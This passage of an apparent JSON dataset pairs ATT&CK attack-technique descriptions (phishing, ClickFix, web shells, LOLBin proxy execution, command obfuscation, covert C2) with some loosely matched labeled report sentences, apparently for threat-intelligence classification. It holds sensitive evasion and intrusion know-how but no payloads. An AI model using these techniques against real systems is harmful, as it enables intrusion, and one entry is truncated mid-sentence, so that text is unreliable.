adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.\nTactics: execution, persistence, privilege escalation\nPlatforms: Containers, ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Use of native tools such as at.exe (Task Scheduler) and net.exe (network resource management tool)" + }, + { + "id": "T1571", + "text": "ATT&CK technique: T1571 Non-Standard Port\nDescription: Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data. Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: * Attackers are using high ports to communicate with command and control servers." + }, + { + "id": "T1565", + "text": "ATT&CK technique: T1565 Data Manipulation\nDescription: Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.\nTactics: impact\nPlatforms: Linux, Windows, macOS\nLabeled report example: CyberGate allows an attacker to browse and manipulate files, devices, and settings on the victim's machine as well as download and execute additional malware." + }, + { + "id": "T1518", + "text": "ATT&CK technique: T1518 Software Discovery\nDescription: Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Such software may be deployed widely across the environment for configuration management or security reasons, such as Software Deployment Tools, and may allow adversaries broad access to infect devices or move laterally. Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to Exploitation for Privilege Escalation.\nTactics: discovery\nPlatforms: ESXi, IaaS, Linux, Windows, macOS\nLabeled report example: * Software and version" + }, + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: In addition to the contents of the emails and the documentsthat were used for threat attribution, we can also infer from the Command and Control (C&C) infrastructure that the threat actor has specifically chosen a C&C server that blends with the theme." + }, + { + "id": "T1059.001", + "text": "ATT&CK technique: T1059.001 PowerShell\nDescription: Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems). PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk. A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack. PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).\nTactics: execution\nPlatforms: Windows" + }, + { + "id": "T1219", + "text": "ATT&CK technique: T1219 Remote Access Tools\nDescription: An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management. Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access. Remote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system. Installation of many remote access tools may also include persistence (e.g., the software's installation routine creates a Windows Service). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome’s Remote Desktop).\nTactics: command and control\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1059.008", + "text": "ATT&CK technique: T1059.008 Network Device CLI\nDescription: Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or SSH. Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.\nTactics: execution\nPlatforms: Network Devices" + }, + { + "id": "T1505.003", + "text": "ATT&CK technique: T1505.003 Web Shell\nDescription: Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. China Chopper Web shell client).\nTactics: persistence\nPlatforms: Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1059.012", + "text": "ATT&CK technique: T1059.012 Hypervisor CLI\nDescription: Adversaries may abuse hypervisor command line interpreters (CLIs) to execute malicious commands. Hypervisor CLIs typically enable a wide variety of functionality for managing both the hypervisor itself and the guest virtual machines it hosts. For example, on ESXi systems, tools such as `esxcli` and `vim-cmd` allow administrators to configure firewall rules and log forwarding on the hypervisor, list virtual machines, start and stop virtual machines, and more. Adversaries may be able to leverage these tools in order to support further actions, such as File and Directory Discovery or Data Encrypted for Impact.\nTactics: execution\nPlatforms: ESXi" + }, + { + "id": "T1555", + "text": "ATT&CK technique: T1555 Credentials from Password Stores\nDescription: Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.\nTactics: credential access\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: **SOAP over HTTP for C&C**" + }, + { + "id": "T1059.006", + "text": "ATT&CK technique: T1059.006 Python\nDescription: Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables. Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.\nTactics: execution\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1685.003", + "text": "ATT&CK technique: T1685.003 Modify or Spoof Tool UI\nDescription: Adversaries may spoof or manipulate security tool user interfaces (UIs) to falsely indicate tools are functioning normally and delay detection and response. Adversaries may present misleading or falsified security tool interfaces (UIs) that display normal or healthy status indicators, even when underlying security tools have been disabled, degraded, or otherwise tampered with. Security tools typically provide visibility into system health, alerting, and operational status; by misrepresenting this information, adversaries can undermine defender trust in these signals and obscure the true security posture of the system. This behavior is often used in conjunction with efforts to disable or modify tools, where adversaries first impair the functionality of defenses (e.g., EDR, logging agents) and then replace or mimic their interfaces to conceal the loss of visibility. By maintaining the appearance of normal operations, such as showing active protection, successful updates, or absence of threats, adversaries can delay investigation and response, enabling continued malicious activity. For example, adversaries may display a fake Windows Security interface or system tray icon indicating a “protected” or “healthy” state after disabling Windows Defender or related services.\nTactics: defense impairment\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1059.003", + "text": "ATT&CK technique: T1059.003 Windows Command Shell\nDescription: Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via Remote Services such as SSH. Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems. Adversaries may leverage cmd to execute various commands and payloads. Common uses include cmd to execute a single command, or abusing cmd interactively with input and output forwarded over a command and control channel.\nTactics: execution\nPlatforms: Windows" + }, + { + "id": "T1219.002", + "text": "ATT&CK technique: T1219.002 Remote Desktop Software\nDescription: An adversary may use legitimate desktop support software to establish an interactive command and control channel to target systems within networks. Desktop support software provides a graphical interface for remotely controlling another computer, transmitting the display output, keyboard input, and mouse control between devices using various protocols. Desktop support software, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment. Remote access modules/features may also exist as part of otherwise existing software such as Zoom or Google Chrome’s Remote Desktop.\nTactics: command and control\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1202", + "text": "ATT&CK technique: T1202 Indirect Command Execution\nDescription: Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (`pcalua.exe`), components of the Windows Subsystem for Linux (WSL), `Scriptrunner.exe`, as well as other utilities may invoke the execution of programs and commands from a Command and Scripting Interpreter, Run window, or via scripts. Adversaries may also abuse the `ssh.exe` binary to execute malicious commands via the `ProxyCommand` and `LocalCommand` options, which can be invoked via the `-o` flag or by modifying the SSH config file. Adversaries may abuse these features for Stealth, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd or file extensions more commonly associated with malicious payloads.\nTactics: stealth\nPlatforms: Windows" + }, + { + "id": "T1204.004", + "text": "ATT&CK technique: T1204.004 Malicious Copy and Paste\nDescription: An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a Command and Scripting Interpreter. One such strategy is \"ClickFix,\" in which adversaries present users with seemingly helpful solutions—such as prompts to fix errors or complete CAPTCHAs—that instead instruct the user to copy and paste malicious code. Malicious websites, such as those used in Drive-by Compromise, may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine. Adversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the \"ClickFix\" strategy. Tricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1569.001", + "text": "ATT&CK technique: T1569.001 Launchctl\nDescription: Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. Adversaries use launchctl to execute commands and programs as Launch Agents or Launch Daemons. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w \"%s/Library/LaunchAgents/%s\" or /bin/launchctl load to execute Launch Agents or Launch Daemons.\nTactics: execution\nPlatforms: macOS" + }, + { + "id": "T1027.010", + "text": "ATT&CK technique: T1027.010 Command Obfuscation\nDescription: Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., Phishing and Drive-by Compromise) or interactively via Command and Scripting Interpreter. For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality. Many languages support built-in obfuscation in the form of base64 or URL encoding. Adversaries may also manually implement command obfuscation via string splitting (`“Wor”+“d.Application”`), order and casing of characters (`rev Invoke-Obfuscation and Invoke-DOSfucation have also been used to obfuscate commands.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1219.003", + "text": "ATT&CK technique: T1219.003 Remote Access Hardware\nDescription: An adversary may use legitimate remote access hardware to establish an interactive command and control channel to target systems within networks. These services, including IP-based keyboard, video, or mouse (KVM) devices such as TinyPilot and PiKVM, are commonly used as legitimate tools and may be allowed by peripheral device policies within a target environment. Remote access hardware may be physically installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote session with the target system. Using hardware-based remote access tools may allow threat actors to bypass software security solutions and gain more control over the compromised device(s).\nTactics: command and control\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1674", + "text": "ATT&CK technique: T1674 Input Injection\nDescription: Adversaries may simulate keystrokes on a victim’s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts, typing an inline script to be executed, or interacting directly with a GUI-based application. These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs). For example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions. Adversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1059.011", + "text": "ATT&CK technique: T1059.011 Lua\nDescription: Adversaries may abuse Lua commands and scripts for execution. Lua is a cross-platform scripting and programming language primarily designed for embedded use in applications. Lua can be executed on the command-line (through the stand-alone lua interpreter), via scripts (.lua), or from Lua-embedded programs (through the struct lua_State). Lua scripts may be executed by adversaries for malicious purposes. Adversaries may incorporate, abuse, or replace existing Lua interpreters to allow for malicious Lua command execution at runtime.\nTactics: execution\nPlatforms: Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1021.007", + "text": "ATT&CK technique: T1021.007 Cloud Services\nDescription: Adversaries may log into accessible cloud services within a compromised environment using Valid Accounts that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. Many enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., Cloud API), using commands such as Connect-AZAccount for Azure PowerShell, Connect-MgGraph for Microsoft Graph PowerShell, and gcloud auth login for the Google Cloud CLI. In some cases, adversaries may be able to authenticate to these services via Application Access Token instead of a username and password.\nTactics: lateral movement\nPlatforms: IaaS, Identity Provider, Office Suite, SaaS" + }, + { + "id": "T1219.001", + "text": "ATT&CK technique: T1219.001 IDE Tunneling\nDescription: Adversaries may abuse Integrated Development Environment (IDE) software with remote development features to establish an interactive command and control channel on target systems within a network. IDE tunneling combines SSH, port forwarding, file sharing, and debugging into a single secure connection, letting developers work on remote systems as if they were local. Unlike SSH and port forwarding, IDE tunneling encapsulates an entire session and may use proprietary tunneling protocols alongside SSH, allowing adversaries to blend in with legitimate development workflows. Some IDEs, like Visual Studio Code, also provide CLI tools (e.g., `code tunnel`) that adversaries may use to programmatically establish tunnels and generate web-accessible URLs for remote access. These tunnels can be authenticated through accounts such as GitHub, enabling the adversary to control the compromised system via a legitimate developer portal. Additionally, adversaries may use IDE tunneling for persistence. Some IDEs, such as Visual Studio Code and JetBrains, support automatic reconnection. Adversaries may configure the IDE to auto-launch at startup, re-establishing the tunnel upon execution. Compromised developer machines may also be exploited as jump hosts to move further into the network. IDE tunneling tools may be built-in or installed as IDE Extensions.\nTactics: command and control\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1104", + "text": "ATT&CK technique: T1104 Multi-Stage Channels\nDescription: Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult. Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features. The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1059.013", + "text": "ATT&CK technique: T1059.013 Container CLI/API\nDescription: Adversaries may abuse built-in CLI tools or API calls to execute malicious commands in containerized environments. The Docker CLI is used for managing containers via an exposed API point from the `dockerd` daemon. Some common examples of Docker CLI include Docker Desktop CLI and Docker Compose, but users are also able to use SDKs to interact with the API. For example, Docker SDK for Python can be used to run commands within a Python application. Adversaries may leverage the Docker CLI, API, or SDK to pull or build Docker images (i.e., Ingress Tool Transfer, Build Image on Host), run containers (i.e., Deploy Container), or execute commands inside running containers (i.e., Container Administration Command). In some cases, threat actors may pull legitimate images that include scripts or tools that they can leverage - for example, using an image that includes the `curl` command to download payloads. Adversaries may also utilize `docker inspect` and `docker ps` to scan for cloud environment variables and other running containers (i.e., Container and Resource Discovery). Kubernetes is responsible for the management and orchestration of containers across clusters. The Kubernetes control plane, which manages the state of the cluster and is responsible for scheduling, communication, and resource monitoring, can be invoked directly via the API or indirectly via CLI tools such as `kubectl`. It may also be accessed within client libraries such as Go or Python. By utilizing the API, administrators can interact with resources within the cluster such as listing or creating pods, which is a group of one or more containers. Adversaries call the API server via `curl` or other tools, allowing them to obtain further information about the environment such as pods, deployments, daemonsets, namespaces, or sysvars. They may also run various commands regarding resource management.\nTactics: execution\nPlatforms: Containers" + }, + { + "id": "T1059.009", + "text": "ATT&CK technique: T1059.009 Cloud API\nDescription: Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, PowerShell modules like Azure for PowerShell, or software developer kits (SDKs) available for languages such as Python. Cloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies. With proper permissions (often via use of credentials such as Application Access Token and Web Session Cookie), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment.\nTactics: execution\nPlatforms: IaaS, Identity Provider, Office Suite, SaaS" + }, + { + "id": "T1218.007", + "text": "ATT&CK technique: T1218.007 Msiexec\nDescription: Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi). The Msiexec.exe binary may also be digitally signed by Microsoft. Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs. Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.\nTactics: stealth\nPlatforms: Windows" + }, + { + "id": "T1218.002", + "text": "ATT&CK technique: T1218.002 Control Panel\nDescription: Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. Malicious Control Panel items can be delivered via Phishing campaigns or executed as part of multi-stage malware. Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists. Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.\nTactics: stealth\nPlatforms: Windows" + }, + { + "id": "T1218.009", + "text": "ATT&CK technique: T1218.009 Regsvcs/Regasm\nDescription: Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.\nTactics: stealth\nPlatforms: Windows" + }, + { + "id": "T1569.003", + "text": "ATT&CK technique: T1569.003 Systemctl\nDescription: Adversaries may abuse systemctl to execute commands or programs. Systemctl is the primary interface for systemd, the Linux init system and service manager. Typically invoked from a shell, Systemctl can also be integrated into scripts or applications. Adversaries may use systemctl to execute commands or programs as Systemd Services. Common subcommands include: `systemctl start`, `systemctl stop`, `systemctl enable`, `systemctl disable`, and `systemctl status`.\nTactics: execution\nPlatforms: Linux" + }, + { + "id": "T1102.003", + "text": "ATT&CK technique: T1102.003 One-Way Communication\nDescription: Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1059.004", + "text": "ATT&CK technique: T1059.004 Unix Shell\nDescription: Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux, macOS, and ESXi systems, though many variations of the Unix shell exist (e.g. sh, ash, bash, zsh, etc.) depending on the specific OS or distribution. Unix shells can control every aspect of a system, with certain commands requiring elevated privileges. Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems. Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence. Some systems, such as embedded devices, lightweight Linux distributions, and ESXi servers, may leverage stripped-down Unix shells via Busybox, a small executable that contains a variety of tools, including a simple shell.\nTactics: execution\nPlatforms: ESXi, Linux, Network Devices, macOS" + }, + { + "id": "T1564.010", + "text": "ATT&CK technique: T1564.010 Process Argument Spoofing\nDescription: Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB. Adversaries may manipulate a process PEB to evade defenses. For example, Process Hollowing can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the Native API WriteProcessMemory() function) then resume process execution with malicious arguments. Adversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis. This behavior may also be combined with other tricks (such as Parent PID Spoofing) to manipulate or further evade process-based detections.\nTactics: stealth\nPlatforms: Windows" + }, + { + "id": "T1218.004", + "text": "ATT&CK technique: T1218.004 InstallUtil\nDescription: Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)].\nTactics: stealth\nPlatforms: Windows" + }, + { + "id": "T1001.003", + "text": "ATT&CK technique: T1001.003 Protocol or Service Impersonation\nDescription: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1569.002", + "text": "ATT&CK technique: T1569.002 Service Execution\nDescription: Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services. The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and Net. PsExec can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API. Tools such as PsExec and sc.exe can accept remote servers as arguments and may be used to conduct remote execution. Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with Windows Service during service persistence or privilege escalation.\nTactics: execution\nPlatforms: Windows" + }, + { + "id": "T1559.001", + "text": "ATT&CK technique: T1559.001 Component Object Model\nDescription: Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE). Remote COM execution is facilitated by Remote Services such as Distributed Component Object Model (DCOM). Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and Visual Basic. Specific COM objects also exist to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.\nTactics: execution\nPlatforms: Windows" + }, + { + "id": "T1218.010", + "text": "ATT&CK technique: T1218.010 Regsvr32\nDescription: Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments. Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking.\nTactics: stealth\nPlatforms: Windows" + }, + { + "id": "T1056.002", + "text": "ATT&CK technique: T1056.002 GUI Input Capture\nDescription: Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell). Adversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., Browser Information Discovery and/or Application Window Discovery) to spoof prompts when users are naturally accessing sensitive sites/data.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1102.002", + "text": "ATT&CK technique: T1102.002 Bidirectional Communication\nDescription: Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already 